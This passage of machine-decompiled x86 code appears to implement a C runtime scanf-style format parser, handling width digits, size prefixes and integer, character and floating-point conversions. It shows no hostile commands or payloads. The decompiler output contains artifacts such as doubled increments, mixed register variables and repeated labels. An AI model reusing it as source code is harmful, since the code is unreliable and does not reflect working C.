																	 *(_t1220 - 0x26c) = _t1180;
																}
																__eflags =  *(_t1220 - 0x7c) -  *(_t1220 - 0x48);
																E00422580( *(_t1220 - 0x48) + 2 + ( *(_t1220 - 0x7c) -  *(_t1220 - 0x48) >> 1) * 2, 0xfe,  *(_t1220 - 0x26c) << 1);
																_t1224 = _t1224 + 0xc;
															}
														}
													}
												}
											}
										}
										while(1) {
											L318:
											 *(_t1220 - 0x1e9) =  *(_t1220 - 0x1e9) + 1;
											 *(_t1220 + 0xc) =  *(_t1220 + 0xc) + 1;
											while(1) {
												L330:
												__eflags =  *(_t1220 - 0x21c) - 0xffffffff;
												if( *(_t1220 - 0x21c) != 0xffffffff) {
													goto L334;
												}
												L331:
												_t1123 =  *(_t1220 + 0xc);
												__eflags = ( *( *(_t1220 + 0xc)) & 0x000000ff) - 0x25;
												if(( *( *(_t1220 + 0xc)) & 0x000000ff) != 0x25) {
													L333:
													goto L335;
												}
												L332:
												_t1014 =  *(_t1220 + 0xc);
												_t1123 =  *(_t1014 + 1) & 0x000000ff;
												__eflags = ( *(_t1014 + 1) & 0x000000ff) - 0x6e;
												if(( *(_t1014 + 1) & 0x000000ff) == 0x6e) {
													goto L334;
												}
												goto L333;
												L334:
												while(1) {
													L1:
													_t1123 =  *(_t1220 + 0xc);
													if(( *( *(_t1220 + 0xc)) & 0x000000ff) == 0) {
														goto L335;
													}
													L2:
													_t855 = E00425240( *( *(_t1220 + 0xc)) & 0x000000ff);
													_t1224 = _t1224 + 4;
													if(_t855 == 0) {
														L6:
														__eflags = ( *( *(_t1220 + 0xc)) & 0x000000ff) - 0x25;
														if(( *( *(_t1220 + 0xc)) & 0x000000ff) != 0x25) {
															L321:
															__eflags = ( *( *(_t1220 + 0xc)) & 0x000000ff) - 0x25;
															if(( *( *(_t1220 + 0xc)) & 0x000000ff) == 0x25) {
																_t875 =  *(_t1220 + 0xc);
																__eflags = ( *(_t875 + 1) & 0x000000ff) - 0x25;
																if(( *(_t875 + 1) & 0x000000ff) == 0x25) {
																	_t1136 =  *(_t1220 + 0xc) + 1;
																	__eflags = _t1136;
																	 *(_t1220 + 0xc) = _t1136;
																}
															}
															 *(_t1220 - 0xc) =  *(_t1220 - 0xc) + 1;
															_t859 = E0041CF70( *(_t1220 + 8));
															_t1227 = _t1224 + 4;
															 *(_t1220 - 0x21c) = _t859;
															 *(_t1220 + 0xc) =  *(_t1220 + 0xc) + 1;
															__eflags = ( *( *(_t1220 + 0xc)) & 0x000000ff) -  *(_t1220 - 0x21c);
															if(( *( *(_t1220 + 0xc)) & 0x000000ff) ==  *(_t1220 - 0x21c)) {
																L326:
																_t862 = E00425500( *(_t1220 - 0x21c) & 0x000000ff);
																_t1224 = _t1227 + 4;
																__eflags = _t862;
																if(_t862 == 0) {
																	do {
																		L330:
																		__eflags =  *(_t1220 - 0x21c) - 0xffffffff;
																		if( *(_t1220 - 0x21c) != 0xffffffff) {
																			goto L334;
																		}
																		goto L331;
																	} while (_t862 == 0);
																}
																L327:
																 *(_t1220 - 0xc) =  *(_t1220 - 0xc) + 1;
																_t864 = E0041CF70( *(_t1220 + 8));
																_t1224 = _t1224 + 4;
																 *((intOrPtr*)(_t1220 - 0x23c)) = _t864;
																 *(_t1220 + 0xc) =  *(_t1220 + 0xc) + 1;
																__eflags = ( *( *(_t1220 + 0xc)) & 0x000000ff) -  *((intOrPtr*)(_t1220 - 0x23c));
																if(( *( *(_t1220 + 0xc)) & 0x000000ff) ==  *((intOrPtr*)(_t1220 - 0x23c))) {
																	L329:
																	_t1019 =  *(_t1220 - 0xc) - 1;
																	__eflags = _t1019;
																	 *(_t1220 - 0xc) = _t1019;
																	goto L330;
																}
																L328:
																 *(_t1220 - 0xc) =  *(_t1220 - 0xc) - 1;
																E0041CFD0( *((intOrPtr*)(_t1220 - 0x23c)),  *(_t1220 + 8));
																 *(_t1220 - 0xc) =  *(_t1220 - 0xc) - 1;
																_t1123 =  *(_t1220 + 8);
																E0041CFD0( *(_t1220 - 0x21c),  *(_t1220 + 8));
																_t1224 = _t1224 + 0x10;
															} else {
																L325:
																 *(_t1220 - 0xc) =  *(_t1220 - 0xc) - 1;
																_t1123 =  *(_t1220 - 0x21c);
																E0041CFD0( *(_t1220 - 0x21c),  *(_t1220 + 8));
																_t1224 = _t1227 + 8;
															}
															goto L335;
														}
														L7:
														_t1026 =  *(_t1220 + 0xc);
														__eflags = ( *(_t1026 + 1) & 0x000000ff) - 0x25;
														if(( *(_t1026 + 1) & 0x000000ff) == 0x25) {
															goto L321;
														} else {
															 *(_t1220 - 0x220) = 0;
															 *(_t1220 - 0x7d) = 0;
															 *(_t1220 - 0x1f4) = 0;
															 *(_t1220 - 0x1f0) =  *(_t1220 - 0x1f4);
															 *(_t1220 - 0x78) =  *(_t1220 - 0x1f0);
															 *(_t1220 - 0x18) = 0;
															 *(_t1220 - 0x34) =  *(_t1220 - 0x18);
															 *(_t1220 - 0x40) = 0;
															 *(_t1220 - 3) = 0;
															 *((char*)(_t1220 - 2)) =  *(_t1220 - 3);
															 *((char*)(_t1220 - 0x12)) =  *((intOrPtr*)(_t1220 - 2));
															 *(_t1220 - 0x1e) =  *((intOrPtr*)(_t1220 - 0x12));
															 *(_t1220 - 0x29) =  *(_t1220 - 0x1e);
															 *(_t1220 - 0x215) = 0;
															 *((char*)(_t1220 - 0x1d)) = 1;
															 *(_t1220 - 0x30) = 0;
															while(1) {
																L9:
																__eflags =  *(_t1220 - 0x1e);
																if( *(_t1220 - 0x1e) != 0) {
																	break;
																}
																L10:
																 *(_t1220 + 0xc) =  *(_t1220 + 0xc) + 1;
																 *(_t1220 - 0x44) =  *( *(_t1220 + 0xc)) & 0x000000ff;
																_t906 = E004250C0( *(_t1220 - 0x44) & 0x000000ff);
																_t1224 = _t1224 + 4;
																__eflags = _t906;
																if(_t906 == 0) {
																	L12:
																	 *(_t1220 - 0x25c) =  *(_t1220 - 0x44);
																	 *(_t1220 - 0x25c) =  *(_t1220 - 0x25c) - 0x2a;
																	__eflags =  *(_t1220 - 0x25c) - 0x4d;
																	if( *(_t1220 - 0x25c) > 0x4d) {
																		L39:
																		_t909 =  *(_t1220 - 0x1e) + 1;
																		__eflags = _t909;
																		 *(_t1220 - 0x1e) = _t909;
																		goto L40;
																	}
																	L13:
																	_t63 =  *(_t1220 - 0x25c) + 0x41cd90; // 0x8eff8b06
																	switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M0041CD70))) {
																		case 0:
																			L38:
																			 *((intOrPtr*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																			 *((char*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																			goto L40;
																		case 1:
																			L14:
																			goto L40;
																		case 2:
																			L16:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *(__eax + 1) & 0x000000ff;
																			__eflags = ( *(__eax + 1) & 0x000000ff) - 0x36;
																			if(( *(__eax + 1) & 0x000000ff) != 0x36) {
																				L19:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																				__eflags = __ecx - 0x33;
																				if(__ecx != 0x33) {
																					L22:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *(__edx + 1) & 0x000000ff;
																					__eflags = ( *(__edx + 1) & 0x000000ff) - 0x64;
																					if(( *(__edx + 1) & 0x000000ff) == 0x64) {
																						L27:
																						__eax = 0;
																						__eflags = 0;
																						if(0 != 0) {
																							__ecx =  *(__ebp - 0x30);
																							__ecx =  *(__ebp - 0x30) + 1;
																							__eflags = __ecx;
																							 *(__ebp - 0x30) = __ecx;
																							 *(__ebp - 0x200) = 0;
																							 *(__ebp - 0x1fc) = 0;
																						}
																						L29:
																						goto L40;
																					}
																					L23:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *(__ecx + 1) & 0x000000ff;
																					__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x69;
																					if(( *(__ecx + 1) & 0x000000ff) == 0x69) {
																						goto L27;
																					}
																					L24:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																					__eflags = __ecx - 0x6f;
																					if(__ecx == 0x6f) {
																						goto L27;
																					}
																					L25:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *(__edx + 1) & 0x000000ff;
																					__eflags = ( *(__edx + 1) & 0x000000ff) - 0x78;
																					if(( *(__edx + 1) & 0x000000ff) == 0x78) {
																						goto L27;
																					}
																					L26:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *(__ecx + 1) & 0x000000ff;
																					__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x58;
																					if(( *(__ecx + 1) & 0x000000ff) != 0x58) {
																						__edx = 0;
																						__eflags = 0;
																						if(0 != 0) {
																							__eax =  *(__ebp - 0x30);
																							__eax =  *(__ebp - 0x30) + 1;
																							__eflags = __eax;
																							 *(__ebp - 0x30) = __eax;
																							 *(__ebp - 0x200) = 0;
																							 *(__ebp - 0x1fc) = 0;
																						}
																						goto L39;
																					}
																					goto L27;
																				}
																				L20:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *(__edx + 2) & 0x000000ff;
																				__eflags = ( *(__edx + 2) & 0x000000ff) - 0x32;
																				if(( *(__edx + 2) & 0x000000ff) != 0x32) {
																					goto L22;
																				} else {
																					__ecx =  *(__ebp + 0xc);
																					__ecx =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) = __ecx;
																					goto L40;
																				}
																			}
																			L17:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *(__edx + 2) & 0x000000ff;
																			__eflags = ( *(__edx + 2) & 0x000000ff) - 0x34;
																			if(( *(__edx + 2) & 0x000000ff) != 0x34) {
																				goto L19;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																				 *(__ebp - 0x200) = 0;
																				 *(__ebp - 0x1fc) = 0;
																				goto L40;
																			}
																		case 3:
																			L33:
																			 *(__ebp - 0x1d) =  *(__ebp - 0x1d) + 1;
																			 *(__ebp - 0x1d) =  *(__ebp - 0x1d) + 1;
																			goto L40;
																		case 4:
																			L15:
																			 *(__ebp - 0x1d) =  *(__ebp - 0x1d) - 1;
																			 *(__ebp - 0x1d) =  *(__ebp - 0x1d) - 1;
																			 *((intOrPtr*)(__ebp - 0x215)) =  *((intOrPtr*)(__ebp - 0x215)) - 1;
																			 *((char*)(__ebp - 0x215)) =  *((intOrPtr*)(__ebp - 0x215)) - 1;
																			goto L40;
																		case 5:
																			L34:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *(__edx + 1) & 0x000000ff;
																			__eflags = ( *(__edx + 1) & 0x000000ff) - 0x6c;
																			if(( *(__edx + 1) & 0x000000ff) != 0x6c) {
																				__al =  *(__ebp - 0x1d);
																				__al =  *(__ebp - 0x1d) + 1;
																				__eflags = __al;
																				 *(__ebp - 0x1d) = __al;
																				goto L37;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 1;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																				 *(__ebp - 0x200) = 0;
																				 *(__ebp - 0x1fc) = 0;
																				goto L40;
																			}
																		case 6:
																			L37:
																			 *((intOrPtr*)(__ebp - 0x215)) =  *((intOrPtr*)(__ebp - 0x215)) + 1;
																			 *((char*)(__ebp - 0x215)) =  *((intOrPtr*)(__ebp - 0x215)) + 1;
																			goto L40;
																		case 7:
																			goto L39;
																	}
																} else {
																	 *(_t1220 - 0x1f0) =  *(_t1220 - 0x1f0) + 1;
																	 *(_t1220 - 0x78) =  *(_t1220 - 0x44) + ( *(_t1220 - 0x78) +  *(_t1220 - 0x78) * 4) * 2 - 0x30;
																	L40:
																	continue;
																}
															}
															L41:
															__eflags =  *((char*)(_t1220 - 0x12));
															if( *((char*)(_t1220 - 0x12)) != 0) {
																 *(_t1220 - 0x7c) = 0;
															} else {
																 *((intOrPtr*)(_t1220 - 0x1c)) =  *((intOrPtr*)(_t1220 + 0x14));
																 *((intOrPtr*)(_t1220 + 0x14)) =  *((intOrPtr*)(_t1220 + 0x14)) + 4;
																 *(_t1220 - 0x7c) =  *( *((intOrPtr*)(_t1220 + 0x14)) - 4);
															}
															 *(_t1220 - 0x1e) = 0;
															__eflags =  *(_t1220 - 0x215);
															if( *(_t1220 - 0x215) != 0) {
																L49:
																_t1123 =  *( *(_t1220 + 0xc)) & 0x000000ff | 0x00000020;
																 *(_t1220 - 0x44) =  *( *(_t1220 + 0xc)) & 0x000000ff | 0x00000020;
																__eflags =  *(_t1220 - 0x44) - 0x6e;
																if( *(_t1220 - 0x44) == 0x6e) {
																	L54:
																	__eflags =  *(_t1220 - 0x44) - 0x6e;
																	if( *(_t1220 - 0x44) == 0x6e) {
																		L57:
																		__eflags =  *(_t1220 - 0x1f0);
																		if( *(_t1220 - 0x1f0) == 0) {
																			L59:
																			__eflags =  *((char*)(_t1220 - 0x12));
																			if( *((char*)(_t1220 - 0x12)) != 0) {
																				L68:
																				 *(_t1220 - 0x260) =  *(_t1220 - 0x44);
																				 *(_t1220 - 0x260) =  *(_t1220 - 0x260) - 0x63;
																				__eflags =  *(_t1220 - 0x260) - 0x18;
																				if( *(_t1220 - 0x260) > 0x18) {
																					L313:
																					__eflags = ( *( *(_t1220 + 0xc)) & 0x000000ff) -  *(_t1220 - 0x21c);
																					if(( *( *(_t1220 + 0xc)) & 0x000000ff) ==  *(_t1220 - 0x21c)) {
																						L315:
																						_t1142 =  *(_t1220 - 0x1e9) - 1;
																						__eflags = _t1142;
																						 *(_t1220 - 0x1e9) = _t1142;
																						__eflags =  *((char*)(_t1220 - 0x12));
																						if( *((char*)(_t1220 - 0x12)) == 0) {
																							 *((intOrPtr*)(_t1220 + 0x14)) =  *((intOrPtr*)(_t1220 - 0x1c));
																						}
																						while(1) {
																							L318:
																							 *(_t1220 - 0x1e9) =  *(_t1220 - 0x1e9) + 1;
																							 *(_t1220 + 0xc) =  *(_t1220 + 0xc) + 1;
																							goto L330;
																						}
																					}
																					L314:
																					_t1123 =  *(_t1220 - 0xc) - 1;
																					 *(_t1220 - 0xc) =  *(_t1220 - 0xc) - 1;
																					E0041CFD0( *(_t1220 - 0x21c),  *(_t1220 + 8));
																					_t1224 = _t1224 + 8;
																					 *(_t1220 - 0x24) = 1;
																					goto L335;
																				}
																				L69:
																				_t185 =  *(_t1220 - 0x260) + 0x41ce08; // 0xcccccc08
																				switch( *((intOrPtr*)(( *_t185 & 0x000000ff) * 4 +  &M0041CDE0))) {
																					case 0:
																						L70:
																						__eflags =  *(_t1220 - 0x1f0);
																						if( *(_t1220 - 0x1f0) == 0) {
																							 *(_t1220 - 0x1f0) =  *(_t1220 - 0x1f0) + 1;
																							_t1146 =  *(_t1220 - 0x78) + 1;
																							__eflags = _t1146;
																							 *(_t1220 - 0x78) = _t1146;
																						}
																						L72:
																						__eflags =  *(_t1220 - 0x215);
																						if( *(_t1220 - 0x215) > 0) {
																							_t1039 =  *(_t1220 - 0x29) + 1;
																							__eflags = _t1039;
																							 *(_t1220 - 0x29) = _t1039;
																						}
																						L74:
																						L103:
																						 *(_t1220 - 0x48) =  *(_t1220 - 0x7c);
																						_t999 =  *(_t1220 - 0xc) - 1;
																						 *(_t1220 - 0xc) =  *(_t1220 - 0xc) - 1;
																						E0041CFD0( *(_t1220 - 0x21c),  *(_t1220 + 8));
																						_t1224 = _t1223 + 8;
																						__eflags =  *(_t1220 - 0x44) - 0x63;
																						if( *(_t1220 - 0x44) != 0x63) {
																							_t999 =  *(_t1220 - 0x18) - 1;
																							__eflags = _t999;
																							 *(_t1220 - 0x18) = _t999;
																						}
																						goto L105;
																					case 1:
																						L191:
																						__eflags =  *(__ebp - 0x21c) - 0x2d;
																						if( *(__ebp - 0x21c) != 0x2d) {
																							L193:
																							__eflags =  *(__ebp - 0x21c) - 0x2b;
																							if( *(__ebp - 0x21c) != 0x2b) {
																								goto L198;
																							}
																							L194:
																							__ecx =  *(__ebp - 0x78);
																							__ecx =  *(__ebp - 0x78) - 1;
																							__eflags = __ecx;
																							 *(__ebp - 0x78) = __ecx;
																							if(__ecx != 0) {
																								L197:
																								__eax =  *(__ebp - 0xc);
																								__eax =  *(__ebp - 0xc) + 1;
																								__eflags = __eax;
																								 *(__ebp - 0xc) = __eax;
																								__ecx =  *(__ebp + 8);
																								 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																								goto L198;
																							}
																							L195:
																							__eflags =  *(__ebp - 0x1f0);
																							if( *(__ebp - 0x1f0) == 0) {
																								goto L197;
																							}
																							L196:
																							 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																							 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																							goto L198;
																						}
																						L192:
																						 *((intOrPtr*)(__ebp - 2)) =  *((intOrPtr*)(__ebp - 2)) + 1;
																						 *((char*)(__ebp - 2)) =  *((intOrPtr*)(__ebp - 2)) + 1;
																						goto L194;
																					case 2:
																						L268:
																						 *(__ebp - 0x10) = 0;
																						__eflags =  *(__ebp - 0x21c) - 0x2d;
																						if( *(__ebp - 0x21c) != 0x2d) {
																							L270:
																							__eflags =  *(__ebp - 0x21c) - 0x2b;
																							if( *(__ebp - 0x21c) != 0x2b) {
																								L272:
																								__eflags =  *(__ebp - 0x1f0);
																								if( *(__ebp - 0x1f0) == 0) {
																									 *(__ebp - 0x78) = 0xffffffff;
																								}
																								while(1) {
																									L274:
																									__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																									__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																									__eflags = __eax;
																									if(__eax == 0) {
																										break;
																									}
																									L275:
																									__edx =  *(__ebp - 0x78);
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									__eflags =  *(__ebp - 0x78);
																									if( *(__ebp - 0x78) == 0) {
																										break;
																									}
																									L276:
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																									__al =  *(__ebp - 0x21c);
																									 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) =  *(__ebp - 0x21c);
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									__edx = __ebp - 0x28;
																									__eax = __ebp - 0x1e8;
																									__ecx = __ebp - 0x84;
																									__edx = __ebp - 0x204;
																									__eax =  *(__ebp - 0x10);
																									__eax = E0041CE30(__ecx,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																									__eflags = __eax;
																									if(__eax != 0) {
																										L278:
																										 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																										 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																										__edx =  *(__ebp + 8);
																										 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																										continue;
																									}
																									L277:
																									goto L335;
																								}
																								L279:
																								__eax = __ebp - 0x214;
																								__eax = E0041B2E0(__ebp - 0x214);
																								__ecx =  *__eax;
																								__dl =  *( *__eax);
																								 *((char*)(__ebp - 1)) =  *( *__eax);
																								__eax =  *((char*)(__ebp - 1));
																								__ecx =  *(__ebp - 0x21c);
																								__eflags =  *((char*)(__ebp - 1)) -  *(__ebp - 0x21c);
																								if( *((char*)(__ebp - 1)) !=  *(__ebp - 0x21c)) {
																									L288:
																									__eflags =  *(__ebp - 0x1f4);
																									if( *(__ebp - 0x1f4) == 0) {
																										L307:
																										 *(__ebp - 0xc) =  *(__ebp - 0xc) - 1;
																										 *(__ebp - 0xc) =  *(__ebp - 0xc) - 1;
																										__eax =  *(__ebp + 8);
																										__ecx =  *(__ebp - 0x21c);
																										__eax = E0041CFD0( *(__ebp - 0x21c),  *(__ebp + 8));
																										__eflags =  *(__ebp - 0x1f4);
																										if( *(__ebp - 0x1f4) == 0) {
																											L311:
																											goto L335;
																										}
																										L308:
																										__edx =  *((char*)(__ebp - 0x12));
																										__eflags =  *((char*)(__ebp - 0x12));
																										if( *((char*)(__ebp - 0x12)) == 0) {
																											 *(__ebp - 8) =  *(__ebp - 8) + 1;
																											 *(__ebp - 8) =  *(__ebp - 8) + 1;
																											 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																											 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0;
																											__ecx = __ebp - 0x214;
																											_push(E0041B2D0(__ebp - 0x214));
																											__edx =  *(__ebp - 0x84);
																											_push( *(__ebp - 0x84));
																											__eax =  *(__ebp - 0x7c);
																											_push(__eax);
																											__ecx =  *(__ebp - 0x1d);
																											__ecx =  *(__ebp - 0x1d) - 1;
																											__eflags = __ecx;
																											_push(__ecx);
																											__edx =  *0x43e47c; // 0x46f0f098
																											_push(__edx);
																											__imp__DecodePointer();
																											__eax =  *__eax();
																											__esp = __esp + 0x10;
																										}
																										L318:
																										 *(_t1220 - 0x1e9) =  *(_t1220 - 0x1e9) + 1;
																										 *(_t1220 + 0xc) =  *(_t1220 + 0xc) + 1;
																										goto L330;
																									}
																									L289:
																									__eflags =  *(__ebp - 0x21c) - 0x65;
																									if( *(__ebp - 0x21c) == 0x65) {
																										L291:
																										__ecx =  *(__ebp - 0x78);
																										 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																										 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																										__eflags =  *(__ebp - 0x78);
																										if( *(__ebp - 0x78) == 0) {
																											goto L307;
																										}
																										L292:
																										 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																										 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x65;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										__edx = __ebp - 0x28;
																										__eax = __ebp - 0x1e8;
																										__ecx = __ebp - 0x84;
																										__edx = __ebp - 0x204;
																										__eax =  *(__ebp - 0x10);
																										__eax = E0041CE30(__ecx,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																										__eflags = __eax;
																										if(__eax != 0) {
																											L294:
																											 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																											 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																											__edx =  *(__ebp + 8);
																											 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																											__eflags =  *(__ebp - 0x21c) - 0x2d;
																											if( *(__ebp - 0x21c) != 0x2d) {
																												L298:
																												__eflags =  *(__ebp - 0x21c) - 0x2b;
																												if( *(__ebp - 0x21c) != 0x2b) {
																													while(1) {
																														L302:
																														__eax =  *(__ebp - 0x21c) & 0x000000ff;
																														__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																														__eflags = __eax;
																														if(__eax == 0) {
																															goto L307;
																														}
																														L303:
																														__ecx =  *(__ebp - 0x78);
																														 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																														 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																														__eflags =  *(__ebp - 0x78);
																														if( *(__ebp - 0x78) == 0) {
																															goto L307;
																														}
																														L304:
																														 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																														 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																														 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																														__dl =  *(__ebp - 0x21c);
																														 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) =  *(__ebp - 0x21c);
																														 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																														 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																														__ecx = __ebp - 0x28;
																														__edx = __ebp - 0x1e8;
																														__eax = __ebp - 0x84;
																														__ecx = __ebp - 0x204;
																														__edx =  *(__ebp - 0x10);
																														__eax = E0041CE30(__ecx,  *(__ebp - 0x10), __ecx, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																														__eflags = __eax;
																														if(__eax != 0) {
																															L306:
																															 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																															 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																															__ecx =  *(__ebp + 8);
																															 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																															continue;
																														}
																														L305:
																														goto L335;
																													}
																													goto L307;
																												}
																												L299:
																												__ecx =  *(__ebp - 0x78);
																												 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																												 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																												__eflags =  *(__ebp - 0x78);
																												if( *(__ebp - 0x78) != 0) {
																													__ecx =  *(__ebp - 0xc);
																													__ecx =  *(__ebp - 0xc) + 1;
																													__eflags = __ecx;
																													 *(__ebp - 0xc) = __ecx;
																													__edx =  *(__ebp + 8);
																													 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																												} else {
																													 *(__ebp - 0x78) =  *(__ebp - 0x78) + 1;
																													 *(__ebp - 0x78) =  *(__ebp - 0x78) + 1;
																												}
																												goto L302;
																											}
																											L295:
																											 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																											 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x2d;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																											__edx = __ebp - 0x28;
																											__eax = __ebp - 0x1e8;
																											__ecx = __ebp - 0x84;
																											__edx = __ebp - 0x204;
																											__eax =  *(__ebp - 0x10);
																											__eax = E0041CE30(__ecx,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																											__eflags = __eax;
																											if(__eax != 0) {
																												L297:
																												goto L299;
																											}
																											L296:
																											goto L335;
																										}
																										L293:
																										goto L335;
																									}
																									L290:
																									__eflags =  *(__ebp - 0x21c) - 0x45;
																									if( *(__ebp - 0x21c) != 0x45) {
																										goto L307;
																									}
																									goto L291;
																								}
																								L280:
																								__edx =  *(__ebp - 0x78);
																								 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																								 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																								__eflags =  *(__ebp - 0x78);
																								if( *(__ebp - 0x78) == 0) {
																									goto L288;
																								}
																								L281:
																								 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																								 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																								__edx =  *(__ebp + 8);
																								 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																								 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																								__cl =  *((intOrPtr*)(__ebp - 1));
																								 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) =  *((intOrPtr*)(__ebp - 1));
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																								__eax = __ebp - 0x28;
																								__ecx = __ebp - 0x1e8;
																								__edx = __ebp - 0x84;
																								__eax = __ebp - 0x204;
																								__ecx =  *(__ebp - 0x10);
																								__eax = E0041CE30(__ecx, __ecx, __ebp - 0x204, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																								__eflags = __eax;
																								if(__eax != 0) {
																									while(1) {
																										L283:
																										__edx =  *(__ebp - 0x21c) & 0x000000ff;
																										__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																										__eflags = __eax;
																										if(__eax == 0) {
																											goto L288;
																										}
																										L284:
																										__eax =  *(__ebp - 0x78);
																										 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																										 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																										__eflags =  *(__ebp - 0x78);
																										if( *(__ebp - 0x78) == 0) {
																											goto L288;
																										}
																										L285:
																										 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																										 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																										 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																										__cl =  *(__ebp - 0x21c);
																										 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) =  *(__ebp - 0x21c);
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										__eax = __ebp - 0x28;
																										__ecx = __ebp - 0x1e8;
																										__edx = __ebp - 0x84;
																										__eax = __ebp - 0x204;
																										__ecx =  *(__ebp - 0x10);
																										__eax = E0041CE30(__ecx, __ecx, __ebp - 0x204, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																										__eflags = __eax;
																										if(__eax != 0) {
																											L287:
																											 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																											 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																											__eax =  *(__ebp + 8);
																											 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																											continue;
																										}
																										L286:
																										goto L335;
																									}
																									goto L288;
																								}
																								L282:
																								goto L335;
																							}
